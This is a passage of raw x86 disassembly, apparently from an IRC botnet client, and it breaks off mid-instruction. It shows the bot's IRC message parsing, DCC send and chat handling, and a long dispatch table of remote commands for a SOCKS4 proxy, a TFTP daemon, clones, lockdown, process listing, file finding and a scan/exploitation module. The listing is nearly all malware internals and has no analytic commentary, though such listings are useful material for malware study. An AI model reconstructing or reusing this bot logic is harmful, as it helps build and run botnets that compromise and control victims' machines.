XREF: sub_40EE72+238j push esi push offset a433 ; "433" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F116 push ebx push dword_4CD760 push dword_42F5CC push [ebp+arg_10] call sub_415D01 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 loc_40F10C: ; CODE XREF: sub_40EE72+25Fj add esp, 0Ch loc_40F10F: ; CODE XREF: sub_40EE72+1D8j ; sub_40EE72+1F4j ... mov eax, edi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_40F116: ; CODE XREF: sub_40EE72+270j mov esi, [ebp+arg_18] mov [ebp+var_BC], 2 mov edi, 80h loc_40F128: ; CODE XREF: sub_40EE72+2DBj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F145 mov [ebp+var_AC], 1 loc_40F145: ; CODE XREF: sub_40EE72+2C7j add esi, edi dec [ebp+var_BC] jnz short loc_40F128 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F241 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40F174: ; CODE XREF: sub_40EE72+392j cmp [esi], bl jz loc_40F1FF push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [ebp+var_D8] add esp, 0Ch test eax, eax jz short loc_40F1FF cmp [ebp+var_88], ebx jz short loc_40F1FF push [ebp+var_88] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F1FF lea eax, [ebp+var_D8] mov [esi], bl push eax lea eax, [ebp+var_2DC] push offset dword_432E04 push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40D633 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 14h loc_40F1FF: ; CODE XREF: sub_40EE72+304j ; sub_40EE72+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40F174 push [ebp+var_88] push [ebp+arg_10] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F239 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40F22E: ; CODE XREF: sub_40EE72+618j ; sub_40EE72+978j push [ebp+arg_4] call sub_40D633 loc_40F236: ; CODE XREF: sub_40EE72+57D8j ; sub_40EE72+57F5j ... add esp, 10h loc_40F239: ; CODE XREF: sub_40EE72+5Bj ; sub_40EE72+F1j ... push 1 loc_40F23B: ; CODE XREF: sub_40EE72+5CEBj pop eax loc_40F23C: ; CODE XREF: sub_40EE72+29Fj ; sub_40EE72+229Dj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40F241: ; CODE XREF: sub_40EE72+2F2j push esi push offset aNick ; "NICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F397 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40F26A: ; CODE XREF: sub_40EE72+44Aj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2B7 lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40F2B7 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4179C0 push [ebp+arg_1C] push edi call sub_4179D0 add esp, 10h mov edi, 80h loc_40F2B7: ; CODE XREF: sub_40EE72+409j ; sub_40EE72+420j add esi, edi dec [ebp+arg_0] jnz short loc_40F26A lea eax, [ebp+var_D8] test eax, eax jz loc_40F239 cmp [ebp+arg_24], ebx jz loc_40F239 push [ebp+arg_10] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2FF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F2FF: ; CODE XREF: sub_40EE72+476j mov edi, [ebp+arg_18] xor esi, esi loc_40F304: ; CODE XREF: sub_40EE72+4B3j cmp [edi], bl jz short loc_40F31B lea eax, [ebp+var_AA8] push eax push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F32C loc_40F31B: ; CODE XREF: sub_40EE72+494j inc esi add edi, 80h cmp esi, 2 jl short loc_40F304 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F32C: ; CODE XREF: sub_40EE72+4A7j lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40F239 push eax call sub_417AB0 push [ebp+arg_24] mov edi, eax call sub_417AB0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40F239 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_0 ; ":%s%s" push esi call sub_4172B0 push ebx lea eax, [ebp+var_4C0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40D679 add esp, 24h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F397: ; CODE XREF: sub_40EE72+3DEj push esi push offset aPart ; "PART" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F3B9 push esi push offset aQuit ; "QUIT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F3E0 loc_40F3B9: ; CODE XREF: sub_40EE72+534j mov edi, [ebp+arg_18] xor esi, esi loc_40F3BE: ; CODE XREF: sub_40EE72+56Cj cmp [edi], bl jz short loc_40F3D4 push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F42E loc_40F3D4: ; CODE XREF: sub_40EE72+54Ej inc esi add edi, 80h cmp esi, 2 jl short loc_40F3BE loc_40F3E0: ; CODE XREF: sub_40EE72+545j push [ebp+var_90] push offset a353 ; "353" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F48F push [ebp+var_84] push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F417 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40F417: ; CODE XREF: sub_40EE72+59Aj push [ebp+var_84] push offset dword_432DA8 loc_40F422: ; CODE XREF: sub_40EE72+5B47j ; sub_40EE72+5E96j ... call sub_40BFE1 pop ecx loc_40F428: ; CODE XREF: sub_40EE72+5FABj pop ecx jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F42E: ; CODE XREF: sub_40EE72+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_432D78 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push [ebp+var_90] push offset aPart ; "PART" call sub_4176D0 add esp, 18h test eax, eax jnz loc_40F239 lea eax, [ebp+var_2DC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F48F: ; CODE XREF: sub_40EE72+582j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4176D0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 cmp dword_42F5B8, ebx jz loc_414F47 loc_40F4E3: ; CODE XREF: sub_40EE72+637j ; sub_40EE72+649j push [ebp+var_90] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_C0], esi loc_40F52A: ; CODE XREF: sub_40EE72+8B9j ; sub_40EE72+94Dj ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_432D6C mov [ebp+arg_8], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F96F push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F82A cmp [ebp+var_AC], ebx jz loc_40F800 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_6F4] push edi push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_708] push [ebp+esi+var_88] push edi push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_432D28 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C8B4 push ebx push ebx nop call near ptr 2680B9Ah mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz loc_40F7EF loc_40F659: ; CODE XREF: sub_40EE72+7FBj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h call near ptr 2620000h nop jmp short loc_40F659 ; --------------------------------------------------------------------------- loc_40F66F: ; CODE XREF: sub_40EE72+681j ; sub_40EE72+697j push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F688 mov [ebp+var_4], 1 loc_40F688: ; CODE XREF: sub_40EE72+80Dj cmp [ebp+var_8C], ebx jz loc_40F239 push (offset loc_4289A7+1) push [ebp+var_8C] call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40F6AF cmp [ebp+var_4], ebx jz short loc_40F6BB loc_40F6AF: ; CODE XREF: sub_40EE72+836j lea eax, [ebp+var_D8] mov [ebp+var_8C], eax loc_40F6BB: ; CODE XREF: sub_40EE72+83Bj cmp [ebp+var_88], ebx jz loc_40F239 inc [ebp+var_88] jz short loc_40F707 cmp [ebp+arg_10], ebx jz short loc_40F707 lea eax, [ebp+var_928] push eax call sub_417AB0 push eax lea eax, [ebp+var_928] push [ebp+var_88] push eax call sub_418DA0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_C0], esi jmp short loc_40F70D ; --------------------------------------------------------------------------- loc_40F707: ; CODE XREF: sub_40EE72+85Bj ; sub_40EE72+860j mov esi, [ebp+var_C0] loc_40F70D: ; CODE XREF: sub_40EE72+893j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40F239 push edi push offset dword_432D1C call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40F7B0 mov eax, dword_4CD770 mov eax, off_42F6C8[eax*4] cmp [eax], bl jz short loc_40F7B0 push eax push ecx push offset dword_432D00 push [ebp+arg_4] call sub_40D633 add esp, 10h lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 10h cmp [ebp+var_AC], ebx jnz loc_40F239 push ebx lea eax, [ebp+var_2DC] push 1 push eax push offset dword_4CD67C loc_40F7A0: ; CODE XREF: sub_40EE72+58C1j push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F7B0: ; CODE XREF: sub_40EE72+8C8j ; sub_40EE72+8D8j push edi push offset dword_432CDC call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40F52A push eax push ecx push offset dword_432CC4 jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F7EF: ; CODE XREF: sub_40EE72+7E1j nop call near ptr 2650C0Ah push eax push offset dword_432C7C jmp loc_40F95B ; --------------------------------------------------------------------------- loc_40F800: ; CODE XREF: sub_40EE72+702j lea eax, [ebp+var_D8] push eax push [ebp+esi+var_8C] push offset dword_432C2C loc_40F813: ; CODE XREF: sub_40EE72+6177j ; sub_40EE72+61DEj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 10h loc_40F822: ; CODE XREF: sub_40EE72+7EDj ; sub_40EE72+AB1j ... push 1 pop esi jmp loc_411100 ; --------------------------------------------------------------------------- loc_40F82A: ; CODE XREF: sub_40EE72+6F6j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F985 cmp [ebp+var_AC], ebx jz loc_40F94F push 13h call sub_416FA4 test eax, eax pop ecx jnz loc_40F941 push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_1 ; "%s" push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_432BF4 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 13h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C351 push ebx push ebx call near ptr 2680B9Ah nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_40F933 loc_40F91D: ; CODE XREF: sub_40EE72+ABFj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 2620000h jmp short loc_40F91D ; --------------------------------------------------------------------------- loc_40F933: ; CODE XREF: sub_40EE72+AA9j call near ptr 2650C0Ah nop push eax push offset dword_432BB0 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F941: ; CODE XREF: sub_40EE72+9E9j lea eax, [ebp+var_D8] push eax push offset dword_432B70 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F94F: ; CODE XREF: sub_40EE72+9D9j lea eax, [ebp+var_D8] push eax push offset dword_432B30 loc_40F95B: ; CODE XREF: sub_40EE72+989j ; sub_40EE72+ACDj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_40F96F: ; CODE XREF: sub_40EE72+6DBj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42F5C4 mov [edi], ecx jnz loc_40F239 loc_40F985: ; CODE XREF: sub_40EE72+9CDj mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC_0 ; "c" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F push [ebp+arg_8] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F cmp [ebp+var_AC], ebx jnz short loc_40F9D5 push [ebp+var_90] push offset dword_432D74 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 loc_40F9D5: ; CODE XREF: sub_40EE72+B47j cmp [ebp+arg_28], ebx jnz loc_414F47 xor edi, edi cmp dword_42F794, ebx jle loc_40FB81 mov [ebp+arg_20], offset dword_43FA70 loc_40F9F3: ; CODE XREF: sub_40EE72+BA0j push [ebp+arg_8] push [ebp+arg_20] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40FA19 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42F794 jl short loc_40F9F3 jmp loc_40FB81 ; --------------------------------------------------------------------------- loc_40FA19: ; CODE XREF: sub_40EE72+B90j push offset asc_432E84 ; " :" push [ebp+arg_0] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 mov cl, byte_42F5C4 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42F5C4 mov [eax+3], cl lea ecx, dword_43FA88[edi] push 9Fh add eax, 4 push ecx push eax call sub_418C10 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40FA6E: ; CODE XREF: sub_40EE72+CA4j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d-" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FADA mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40FADA lea eax, dword_43FA70[edi] push eax call sub_417AB0 add [ebp+var_C], eax pop ecx jz short loc_40FB0C mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40FB0C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch jmp short loc_40FB0C ; --------------------------------------------------------------------------- loc_40FADA: ; CODE XREF: sub_40EE72+C24j ; sub_40EE72+C2Bj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40FB0C lea eax, [ebp+var_B8] push 2 push eax lea eax, [ebp+var_14] push eax call sub_418C10 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 18h loc_40FB0C: ; CODE XREF: sub_40EE72+C3Dj ; sub_40EE72+C51j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40FA6E lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40FB29: ; CODE XREF: sub_40EE72+D03j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD ; "$%d" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FB6C mov eax, [edi] cmp eax, ebx jz short loc_40FB6C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch loc_40FB6C: ; CODE XREF: sub_40EE72+CDFj ; sub_40EE72+CE5j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40FB29 mov [ebp+var_DC], 1 loc_40FB81: ; CODE XREF: sub_40EE72+B74j ; sub_40EE72+BA2j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42F5C4 jz short loc_40FB9A cmp [ebp+var_DC], ebx jz loc_40FD7F loc_40FB9A: ; CODE XREF: sub_40EE72+D1Aj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_40A7D7 lea eax, [ebp+var_D8] push eax push offset aUser_2 ; "$user" push edi call sub_40A7D7 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_40A7D7 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 push eax push offset aRndnick ; "$rndnick" push edi call sub_40A7D7 add esp, 40h push [ebp+arg_14] push offset aServer_0 ; "$server" push edi call sub_40A7D7 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417880 add esp, 14h loc_40FC0C: ; CODE XREF: sub_40EE72+E86j test eax, eax jz loc_40FCFD push edi push [ebp+arg_0] call sub_417880 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_418C10 lea eax, [ebp+var_B8] push offset asc_432AEC ; ")" push eax call sub_418B6E add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_40FC58 cmp [ebp+var_B8], 39h jle short loc_40FC6E loc_40FC58: ; CODE XREF: sub_40EE72+DDBj push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_418C10 add esp, 0Ch loc_40FC6E: ; CODE XREF: sub_40EE72+DE4j lea eax, [ebp+var_B8] push eax call sub_41781F test eax, eax pop ecx jle short loc_40FC91 lea eax, [ebp+var_B8] push eax call sub_41781F pop ecx mov [ebp+var_14], al jmp short loc_40FCA2 ; --------------------------------------------------------------------------- loc_40FC91: ; CODE XREF: sub_40EE72+E0Bj call sub_41730C push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40FCA2: ; CODE XREF: sub_40EE72+E1Dj lea eax, [ebp+var_B8] mov [ebp+var_13], bl push eax call sub_417AB0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B8] push ebx push eax call sub_417330 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B8] push [ebp+arg_10] push eax call sub_418C10 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 push edi push [ebp+arg_0] call sub_417880 add esp, 30h jmp loc_40FC0C ; --------------------------------------------------------------------------- loc_40FCFD: ; CODE XREF: sub_40EE72+D9Cj mov edi, 1FFh lea eax, [ebp+var_FB0] push edi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push edi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 lea eax, [ebp+var_11B0] push offset asc_42A3B4 ; " " push eax call sub_418B6E add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40FD4D: ; CODE XREF: sub_40EE72+EF0j push offset asc_42A3B4 ; " " push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40FD4D mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40F239 add ecx, 3 mov [eax], ecx loc_40FD7F: ; CODE XREF: sub_40EE72+D22j mov edi, [ebp+esi+var_94] push edi push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aRn ; "rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aIrc_die ; "irc.die" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_di ; "irc.di" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_logout ; "irc.logout" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aLo ; "lo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aIrc_version ; "irc.version" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aVer ; "ver" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aLockdown_on ; "lockdown.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_on ; "ld.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLockdown_off ; "lockdown.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_off ; "ld.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aProxy_socks4_o ; "proxy.socks4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_s4_on ; "proxy.s4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_socks4_0 ; "proxy.socks4.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FEEF push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_432A34 loc_40FED3: ; CODE XREF: sub_40EE72+10A1j ; sub_40EE72+10C7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_416FEA add esp, 20h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40FEEF: ; CODE XREF: sub_40EE72+104Cj push edi push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF15 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_432A10 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF15: ; CODE XREF: sub_40EE72+108Cj push edi push offset dword_432A00 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF3B push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_4329F4 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF3B: ; CODE XREF: sub_40EE72+10B2j push edi push offset dword_4329EC call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF64 push [ebp+esi+var_90] push 1Dh push offset dword_4329E0 push offset dword_4329D4 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF64: ; CODE XREF: sub_40EE72+10D8j push edi push offset aProxy_redirect ; "proxy.redirect.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF8D push [ebp+esi+var_90] push 10h push offset dword_4329B0 push offset dword_4329A0 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF8D: ; CODE XREF: sub_40EE72+1101j push edi push offset dword_432994 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFB6 push [ebp+esi+var_90] push 0Ah push offset dword_432988 push offset dword_43297C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFB6: ; CODE XREF: sub_40EE72+112Aj push edi push offset dword_43296C call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFDF push [ebp+esi+var_90] push 0Bh push offset dword_432960 push offset dword_432954 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFDF: ; CODE XREF: sub_40EE72+1153j push edi push offset dword_432944 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410008 push [ebp+esi+var_90] push 0Fh push offset dword_432938 push offset dword_43292C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410008: ; CODE XREF: sub_40EE72+117Cj push edi push offset dword_43291C call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410031 push [ebp+esi+var_90] push 0Eh push offset dword_432910 push offset dword_432904 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410031: ; CODE XREF: sub_40EE72+11A5j push edi push offset aDaemon_tftp_of ; "daemon.tftp.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41005A push [ebp+esi+var_90] push 4 loc_41004B: ; DATA XREF: ___:0042CC90o ; ___:0042CCA4o push offset aServer ; "Server" push offset dword_4328E8 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_41005A: ; CODE XREF: sub_40EE72+11CEj push edi push offset aUtil_findfile_ ; "util.findfile.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aUtil_ff_off ; "util.ff.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aCom_procs_off ; "com.procs.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aCom_ps_off ; "com.ps.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aClone_off ; "clone.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4100D7 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_432888 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4100D7: ; CODE XREF: sub_40EE72+124Bj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410100 push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_432860 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410100: ; CODE XREF: sub_40EE72+1274j push edi push offset aRoot_stop ; "root.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410129 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410129: ; CODE XREF: sub_40EE72+129Dj push edi push offset aRoot_stats ; "root.stats" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aRoot_st ; "root.st" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aIrc_reconnect ; "irc.reconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_r ; "irc.r" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_disconnect ; "irc.disconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_d ; "irc.d" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_quit ; "irc.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_q ; "irc.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_status ; "irc.status" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_s ; "irc.s" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset 